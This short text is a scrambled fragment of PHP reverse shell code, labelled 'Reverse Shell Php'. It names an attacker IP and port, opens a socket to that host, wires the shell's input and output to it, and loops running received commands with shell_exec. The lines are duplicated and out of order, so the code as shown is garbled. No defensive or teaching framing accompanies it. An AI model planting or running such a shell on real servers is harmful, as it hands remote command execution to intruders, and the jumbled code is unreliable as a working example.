else fwrite($sock, "No command execution functions available");
if (!$sock) echo "Error: $errstr ($errno)"; exit(); Reverse Shell Php
while (true) $cmd = fgets($sock); if ($cmd) $output = shell_exec($cmd); fwrite($sock, $output); sleep(2); // Polite interrupt "No command execution functions available")
// Spawn a shell process $descriptorspec = [ 0 => $sock, // stdin 1 => $sock, // stdout 2 => $sock // stderr ]; if (!$sock) echo "Error: $errstr ($errno)"
if (is_resource($process)) proc_close($process);
<?php // Attacker's IP and listening port $ip = '192.168.1.100'; $port = 4444; // Create a TCP socket $sock = fsockopen($ip, $port, $errno, $errstr, 30);